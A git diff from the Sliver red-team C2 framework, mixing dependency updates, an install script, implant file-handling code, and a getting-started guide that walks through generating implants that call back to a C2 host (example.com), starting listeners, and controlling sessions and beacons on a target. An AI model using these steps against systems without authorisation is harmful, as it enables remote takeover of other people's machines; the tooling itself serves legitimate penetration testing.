jekyll (> 3.5, < 5.0)
jekyll-theme-leap-day (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-dinky (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-merlot (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-hacker (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-midnight (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-leap-day (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-minimal (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-merlot (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-modernist (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-midnight (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-minimal (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-modernist (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-primer (0.6.0)
jekyll-theme-primer (0.5.4)
jekyll (> 3.5, < 5.0)
jekyll-github-metadata (~> 2.9)
jekyll-seo-tag (~> 2.0)
jekyll-theme-slate (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-slate (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-tactile (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-tactile (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-time-machine (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-time-machine (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-titles-from-headings (0.5.3)
jekyll (>= 3.3, < 5.0)
@@ -221,33 +213,35 @@ GEM
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
liquid (4.0.3)
listen (3.7.1)
listen (3.5.1)
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
mercenary (0.3.6)
mini_portile2 (2.8.0)
mini_portile2 (2.6.1)
minima (2.5.1)
jekyll (>= 3.5, < 5.0)
jekyll-feed (~> 0.9)
jekyll-seo-tag (~> 2.1)
minitest (5.15.0)
minitest (5.14.4)
multipart-post (2.1.1)
nokogiri (1.13.3)
mini_portile2 (~> 2.8.0)
nokogiri (1.12.5)
mini_portile2 (~> 2.6.1)
racc (~> 1.4)
octokit (4.22.0)
octokit (4.21.0)
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
pathutil (0.16.2)
forwardable-extended (~> 2.6)
public_suffix (4.0.6)
racc (1.6.0)
rb-fsevent (0.11.1)
racc (1.5.2)
rb-fsevent (0.11.0)
rb-inotify (0.10.1)
ffi (~> 1.0)
rexml (3.2.5)
rouge (3.26.0)
ruby2_keywords (0.0.5)
ruby-enum (0.9.0)
i18n
ruby2_keywords (0.0.4)
rubyzip (2.3.2)
safe_yaml (1.0.5)
sass (3.7.4)
@@ -267,14 +261,14 @@ GEM
ethon (>= 0.9.0)
tzinfo (1.2.9)
thread_safe (~> 0.1)
tzinfo-data (1.2021.5)
tzinfo-data (1.2021.1)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.8)
unicode-display_width (1.8.0)
unf_ext (0.0.7.7)
unicode-display_width (1.7.0)
wdm (0.1.1)
zeitwerk (2.5.4)
zeitwerk (2.4.2)
PLATFORMS
ruby
+32 -143
View File
@@ -6,28 +6,27 @@ date: 2021-07-07 09:01:33 -0500
categories: sliver
---
# 1. Server Setup
The first thing you'll need to do is setup a Sliver server.
The server supports Linux, Windows, and MacOS however we recommend running the server on a Linux or MacOS host, as some features may be more difficult to get working on a Windows server. However, the Windows client should work just fine when accessing a Linux/MacOS server.
Download the latest [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. The first time you run the server it'll need to unpack some assets, which may take a minute or two, subsequent start ups should be faster.
__NOTE:__ Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable shellcode/staged payloads you need to install MinGW. To enable MSF integrations you'll need Metasploit installed.
The `Dockerfile` build of Sliver is mostly designed to run the unit tests but includes both MinGW and Metasploit. If you plan to run the server using Docker you'll need to forward the appropriate TCP ports (e.g. 80, 443, 31337) yourself.
__⚠️ NOTE:__ This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
## Server Setup
The first thing you'll need to do is setup a Sliver server, Sliver is designed for a one server deployment per-operation.
The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
Download the latest sever [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
__IMPORTANT:__ Sliver has two external dependancies for _optional_ features: MinGW and Metasploit. To enable DLL payloads you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
### MinGW Setup (Optional, Recommended)
### MinGW Setup (Optional)
In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
#### Linux (Debian-based)
#### Linux
```
apt install mingw-w64
apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
```
#### MacOS
@@ -36,65 +35,39 @@ apt install mingw-w64
brew install mingw-w64
```
__Note:__ On MacOS may have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
__Note:__ On MacOS you'll likely have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
### Metasploit Setup (Optional)
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 5+.
## Implants Beacon vs. Session
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations. Such is the tradeoff for getting easy static compilation in Golang.
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
Some commands such as `shell` and `portfwd` only work over interactive sessions.
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects version 5 or later.
## Generating Implants
__IMPORTANT:__ The first time you generate an implant the server needs to download some Go module code, so the server must have internet access. See [offline implant builds](https://github.com/BishopFox/sliver/wiki/Offline-Implant-Builds) if this is a problem for you. The modules are cached.
Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
#### Session Mode
```
[server] sliver > generate --mtls example.com --save /Users/moloch/Desktop
sliver > generate --mtls example.com --save /Users/moloch/Desktop
[*] Generating new windows/amd64 Sliver binary
[*] Build completed in 00:00:16
[*] Build completed in 00:10:16
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
```
#### Beacon Mode
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. WARNING: Some commands/features may not work on "unsupported" platforms.
```
[server] sliver > generate beacon --mtls example.com --save /Users/moloch/Desktop
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:00:27
[*] Implant saved to /Users/moloch/Desktop/FINE_SENTENCE.exe
```
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
Some commands/features may not work on "unsupported" platforms.
```
sliver > generate --mtls example.com --save /Users/moloch/Desktop --os mac
sliver > generate --mtls example.com --save /Users/moloch/Desktop --skip-symbols --os mac
[*] Generating new darwin/amd64 Sliver binary
[*] Build completed in 00:00:09
[!] Symbol obfuscation is disabled
[*] Build completed in 00:00:03
[*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONY
```
The server will also assign code names to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these code names will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `implants` command:
The server will also assign codenames to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these codenames will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `slivers` command:
```
sliver > implants
sliver > slivers
Name OS/Arch Debug Format
==== ======= ===== ======
@@ -110,7 +83,7 @@ SICK_SPY darwin/amd64 false EXECUTABLE
If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) comes after the command flags (e.g., `--save`):
```
sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
sliver > regenerate --save /Users/moloch/Desktop/ NEW_GRAPE
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
```
@@ -123,7 +96,7 @@ For addition details about each C2 please see:
## Getting Shells
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a `https` listener). You can use the `jobs` command to view and manage listeners running in the background. Listeners support both sessions and beacons callbacks:
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a listener started with `https`). You can use the `jobs` command to view and manage listeners running in the background.
```
sliver > mtls
@@ -140,101 +113,26 @@ ID Name Protocol Port
In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target.
### Interacting with Sessions
The `use` command will tab-complete session and beacon identifiers, but you can also type them out if you really want to (identifier prefixes are accepted). Additionally, running the `use` command with no arguments will enter an interactive menu to select from.
```
[*] Session 8ff2ce4c LONG_DRAMATURGE - [::1]:57154 (MacBook-Pro-6.local) - darwin/amd64 - Thu, 20 Jan 2022 15:45:10 CST
[*] Session #1 PROPER_ANTHONY - 127.0.0.1:49929 (narvi.local) - darwin/amd64
sliver > use 8ff2ce4c
sliver > use 1
[*] Active session LONG_DRAMATURGE (8ff2ce4c-9c66-4cbc-b33c-2a56196536e6)
[*] Active sliver PROPER_ANTHONY (1)
sliver (LONG_DRAMATURGE) > ls
sliver (PROPER_ANTHONY) > ls
/Users/moloch/Desktop
=====================
.DS_Store 6.0 KiB
.localized 0 B
LONG_DRAMATURGE 6.3 MiB
PROPER_ANTHONY 6.3 MiB
```
If you're having problems getting callbacks please see our [troubleshooting guide](https://github.com/BishopFox/sliver/wiki/Troubleshooting#implant-troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
### Interacting with Beacons
Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own id and this id is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab complete for the uuid when using `use`:
```
[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:40:55 CST
[server] sliver > beacons
ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In
========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s
[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb
[*] Active beacon RELATIVE_ADVERTISEMENT (8c465643-0e65-45f2-bb7e-acb3480de3cb)
[server] sliver (RELATIVE_ADVERTISEMENT) >
```
You should see a blue prompt indicating that we're interacting with a beacon as apposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
```
[server] sliver (RELATIVE_ADVERTISEMENT) > ls
[*] Tasked beacon RELATIVE_ADVERTISEMENT (962978a6)
[+] RELATIVE_ADVERTISEMENT completed task 962978a6
C:\git
======
drwxrwxrwx a <dir> Wed Dec 22 15:34:56 -0600 2021
...
```
Tasks will execute in the order they were created (FIFO).
__⚠️ IMPORTANT:__ Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
You can view previous tasks executed by the active beacon using the `tasks` command:
```
[server] sliver (RELATIVE_ADVERTISEMENT) > tasks
ID State Message Type Created Sent Completed
========== =========== ============== =============================== =============================== ===============================
90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST
962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CST
```
You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Note that in this case these task output is stored on the server, so operators in multiplayer mode can fetch output from tasks issued by other operators. However, operators will only see the automatic results from tasks that they executed. You can disable the automatic display of task results using the `settings` command.
#### Switching from Beacon Mode to Session Mode
You can use the `interactive` command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:
```
[server] sliver (RELATIVE_ADVERTISEMENT) > interactive
[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)
[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST
```
__⚠️ IMPORTANT:__ You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
When you're done using the interactive session use the `close` command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.
## Multiple Domains/Protocols
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> WG -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
```
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
@@ -242,13 +140,4 @@ sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
Eventually we'll add a feature to manually specify the fallback protocols, or you can add this feature and send up a PR :).
## What Next?
Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
* [Armory](https://github.com/BishopFox/sliver/wiki/Armory)
* [Stagers](https://github.com/BishopFox/sliver/wiki/Stagers)
* [Port Forwarding](https://github.com/BishopFox/sliver/wiki/Port-Forwarding)
* [Reverse SOCKS](https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS)
* [BOF/COFF Support](https://github.com/BishopFox/sliver/wiki/BOF-&-COFF-Support)
+32 -11
View File
@@ -10,13 +10,13 @@ fi
if [ -n "$(command -v yum)" ]
then
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
fi
if [ -n "$(command -v apt-get)" ]
then
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
gpg curl build-essential \
zip unzip gpg curl build-essential \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
fi
@@ -32,6 +32,12 @@ then
echo "awk could not be found"
exit 1
fi
# Zip
if ! command -v zip &> /dev/null
then
echo "zip could not be found"
exit 1
fi
# GPG
if ! command -v gpg &> /dev/null
then
@@ -100,34 +106,49 @@ EOF
# Download and Unpack Sliver Server
#
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
SLIVER_SERVER='sliver-server_linux'
SLIVER_CLIENT='sliver-client_linux'
SLIVER_SERVER_ZIP='sliver-server_linux.zip'
SLIVER_CLIENT_ZIP='sliver-client_linux.zip'
SLIVER_SERVER='sliver-server'
SLIVER_CLIENT='sliver-client'
for URL in $ARTIFACTS
do
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
if [[ "$URL" == *"$SLIVER_SERVER_ZIP"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
fi
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
if [[ "$URL" == *"$SLIVER_CLIENT_ZIP"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
fi
done
echo "Verifying signatures ..."
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
if test -f "/root/$SLIVER_SERVER_ZIP"; then
unzip -o /root/$SLIVER_SERVER_ZIP -d /root
rm -f /root/$SLIVER_SERVER_ZIP
else
exit 2
fi
if test -f "/root/$SLIVER_SERVER"; then
mv /root/$SLIVER_SERVER /root/sliver-server
chmod 755 /root/sliver-server
/root/sliver-server unpack --force
chmod 755 /root/$SLIVER_SERVER
/root/$SLIVER_SERVER unpack --force
else
exit 3
fi
if test -f "/root/$SLIVER_CLIENT_ZIP"; then
unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
rm -f /root/$SLIVER_CLIENT_ZIP
else
exit 2
fi
if test -f "/root/$SLIVER_CLIENT"; then
chmod 755 /root/$SLIVER_CLIENT
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
+2 -2
View File
@@ -20,8 +20,8 @@ set -e
# Creates the static go asset archives
GO_VER="1.18"
GARBLE_VER="1.18.0"
GO_VER="1.17.6"
GARBLE_VER="1.17.5"
GO_ARCH_1="amd64"
GO_ARCH_2="arm64"
+25 -22
View File
@@ -2,6 +2,9 @@ module github.com/bishopfox/sliver
go 1.17
// fix wgctrl requiring old wireguard
replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
require (
@@ -11,7 +14,7 @@ require (
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/Microsoft/go-winio v0.4.16 // indirect
github.com/alecthomas/chroma v0.8.1
github.com/cheggaaa/pb/v3 v3.0.5
github.com/desertbit/columnize v2.1.0+incompatible
@@ -31,38 +34,38 @@ require (
github.com/lesnuages/snitch v0.6.0
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-sqlite3 v1.14.12
github.com/mattn/go-sqlite3 v1.14.9
github.com/miekg/dns v1.1.35
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pquerna/otp v1.3.0
github.com/sergi/go-diff v1.1.0 // indirect
github.com/sirupsen/logrus v1.8.1
github.com/sirupsen/logrus v1.7.0
github.com/spf13/cobra v1.1.1
github.com/stretchr/testify v1.7.0
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
golang.org/x/text v0.3.7
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
google.golang.org/protobuf v1.27.1
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/net v0.0.0-20210614182718-04defd469f4e
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1
golang.org/x/text v0.3.6
golang.zx2c4.com/wireguard v0.0.20200121
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
google.golang.org/grpc v1.37.0
google.golang.org/protobuf v1.26.0
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gorm.io/driver/mysql v1.0.3
gorm.io/driver/postgres v1.0.5
gorm.io/driver/sqlite v1.1.3
gorm.io/gorm v1.21.14
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
)
require (
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/shirou/gopsutil/v3 v3.21.10
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
modernc.org/sqlite v1.16.0
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
modernc.org/sqlite v1.14.3
)
require (
@@ -103,19 +106,19 @@ require (
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/mod v0.5.1 // indirect
golang.org/x/mod v0.3.0 // indirect
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/tools v0.1.9 // indirect
golang.org/x/tools v0.1.0 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.35.24 // indirect
modernc.org/ccgo/v3 v3.15.18 // indirect
modernc.org/libc v1.14.12 // indirect
modernc.org/cc/v3 v3.35.18 // indirect
modernc.org/ccgo/v3 v3.12.95 // indirect
modernc.org/libc v1.11.104 // indirect
modernc.org/mathutil v1.4.1 // indirect
modernc.org/memory v1.0.7 // indirect
modernc.org/memory v1.0.5 // indirect
modernc.org/opt v0.1.1 // indirect
modernc.org/strutil v1.1.1 // indirect
modernc.org/token v1.0.0 // indirect
+45 -724
View File
File diff suppressed because it is too large. Load diff
+19 -19
View File
@@ -1,24 +1,24 @@
module github.com/bishopfox/sliver
go 1.17
go 1.16
require (
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/gofrs/uuid v4.0.0+incompatible
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pquerna/otp v1.3.0
github.com/stretchr/testify v1.7.0
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/windows v0.5.1
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
google.golang.org/protobuf v1.23.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/gofrs/uuid v4.0.0+incompatible
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pquerna/otp v1.3.0
github.com/stretchr/testify v1.7.0
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
golang.zx2c4.com/wireguard/windows v0.5.1
google.golang.org/protobuf v1.23.0
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
)
+2 -2
View File
@@ -137,7 +137,7 @@ func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
return msg, nil
}
// ECCEncryptToPeer - Encrypt using the peer's public key
// ECCEncryptToPeer - Encrypt using the server's public key
func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
if !valid {
@@ -153,7 +153,7 @@ func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, p
return ciphertext, nil
}
// ECCDecryptFromPeer - Decrypt a message from a peer
// ECCEncryptToPeer - Encrypt using the server's public key
func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
if !valid {
+7 -11
View File
@@ -37,15 +37,15 @@ const (
)
type WindowsExtension struct {
id string
data []byte
module *memmod.Module
arch string
init string
onFinish func([]byte)
id string
data []byte
module *memmod.Module
arch string
init string
onFinish func([]byte)
serverStore bool
}
// NewWindowsExtension - Load a new windows extension
func NewWindowsExtension(data []byte, id string, arch string, init string) *WindowsExtension {
return &WindowsExtension{
id: id,
@@ -55,17 +55,14 @@ func NewWindowsExtension(data []byte, id string, arch string, init string) *Wind
}
}
// GetID - Get the extension ID
func (w *WindowsExtension) GetID() string {
return w.id
}
// GetArch - Get the extension architecture
func (w *WindowsExtension) GetArch() string {
return w.arch
}
// Load - Load the extension into memory
func (w *WindowsExtension) Load() error {
var err error
if len(w.data) == 0 {
@@ -89,7 +86,6 @@ func (w *WindowsExtension) Load() error {
return nil
}
// Call - Call an extension export
func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
var (
argumentsPtr uintptr
+17 -41
View File
@@ -153,7 +153,7 @@ func rmHandler(data []byte, resp RPCResponse) {
_, err = os.Stat(target)
if err == nil {
if (target == "/" || target == "C:\\") && !rmReq.Force {
err = errors.New("cowardly refusing to remove volume root without force")
err = errors.New("Cowardly refusing to remove volume root without force")
}
}
@@ -178,28 +178,6 @@ func rmHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func mvHandler(data []byte, resp RPCResponse) {
mvReq := &sliverpb.MvReq{}
err := proto.Unmarshal(data, mvReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
move := &sliverpb.Mv{}
err = os.Rename(mvReq.Src, mvReq.Dst)
if err != nil {
move.Response = &commonpb.Response{
Err: err.Error(),
}
}
data, err = proto.Marshal(move)
resp(data, err)
}
func mkdirHandler(data []byte, resp RPCResponse) {
mkdirReq := &sliverpb.MkdirReq{}
err := proto.Unmarshal(data, mkdirReq)
@@ -551,30 +529,31 @@ func unsetEnvHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func reconfigureHandler(data []byte, resp RPCResponse) {
